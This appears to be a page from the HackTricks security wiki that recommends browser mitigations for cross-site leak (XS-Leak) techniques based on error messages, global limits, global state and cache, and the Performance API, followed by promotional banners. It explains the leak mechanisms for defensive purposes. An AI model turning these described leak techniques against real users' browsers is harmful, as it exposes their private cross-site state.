  • Error Messages. To mitigate XS-Leaks based on the leak technique error messages, there are two major requirements. First, error messages must not contain detailed information, similarly to event handler messages. Second, browsers must minimize error message occurrences. XS-Leaks such as SRI Error, ContentDocument XFO, or Fetch Redirect detect whether an error message is thrown or not.
  • Global Limits. Fixing leak techniques that abuse global limits are relatively complex because they rely on physical restrictions. The general recommendation thereby is to restrict global limits on a small per-site basis. If the global limit is 1, like for the Payment API, the attacker can silently attempt to activate the WebPayment UI at any time, which only succeeds if the UI is not being used concurrently by any other tab. We recommend to only access to the Payment API when a trustworthy event was used. By this means, the global limit is set to zero unless the user provides consent like a left mouse click on a dialog window, which sets the global limit to one.
  • Global State. Any properties of a browsers global state should not be accessible. For example, FF is the only browser that updates the global state history when a redirect occurs, which results in reading history.length. Browsers should create a new history property when a redirection occurs instead of storing it globally. Other examples are shared resources, such as caches. Cache leaks abuse the shared cache used for all open websites in a browser. To completely mitigate cache leak techniques, the HTTP cache must be partitioned on a per-site base, as implemented by SA, GC and FF. Note that in SA iframes are not effected by cache partitioning.
  • Performance API. We proved the Performance API to be an excellent leak technique. In many XS-Leaks, we could detect the difference whether a cross-origin requests response has or has not a performance entry. As a unification, we recommend ensuring that all request must create such an entry and only the correct subset of timing information is recorded for cross-origin requests.

References

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}